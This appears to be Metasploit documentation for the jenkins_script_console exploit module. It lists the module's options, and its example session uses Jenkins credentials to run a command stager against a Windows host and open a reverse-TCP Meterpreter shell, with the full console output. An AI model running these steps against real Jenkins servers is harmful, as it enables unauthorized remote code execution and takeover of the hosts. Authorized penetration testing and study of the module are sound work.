Files
metasploit-gs/documentation/modules/exploit/multi/http/jenkins_script_console.md
T
2016-10-29 18:50:16 -04:00

6.9 KiB

Vulnerable Application

Jenkins can be downloaded from jenkins.io where binaries are available for a variety of operating systems. Both LTS and weekly builds are available.

Default settings have the script console enabled and require a valid user account in order to access it. A known account can be used with this module by setting the USERNAME and PASSWORD options.

Verification Steps

Example steps in this format:

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/jenkins_script_console
  4. Do: set RHOST [target host]
  5. Do: set TARGET [target id]
  6. Do: exploit
  7. You should get a shell.

Options

TARGETURI

The path to the target instance of Jenkins.

USERNAME

A username to an account that has access to the script console. This is only necessary if the Jenkins instance has been configured to require authentication.

PASSWORD

A password to an account that has access to the script console. This is only necessary if the Jenkins instance has been configured to require authentication.

Scenarios

Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.

msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME steiner
USERNAME => steiner
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
PASSWORD => I<3msf!
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
RHOST => 192.168.254.126
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
LHOST => 192.168.254.132
msf exploit(jenkins_script_console) > exploit

[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
[*] [2016.10.29-18:43:07] Checking access to the script console
[*] [2016.10.29-18:43:07] Logging in...
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
[*] [2016.10.29-18:43:08] Command Stager progress -   2.06% done (2048/99626 bytes)
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[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400

meterpreter > sysinfo
Computer        : PWNME-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >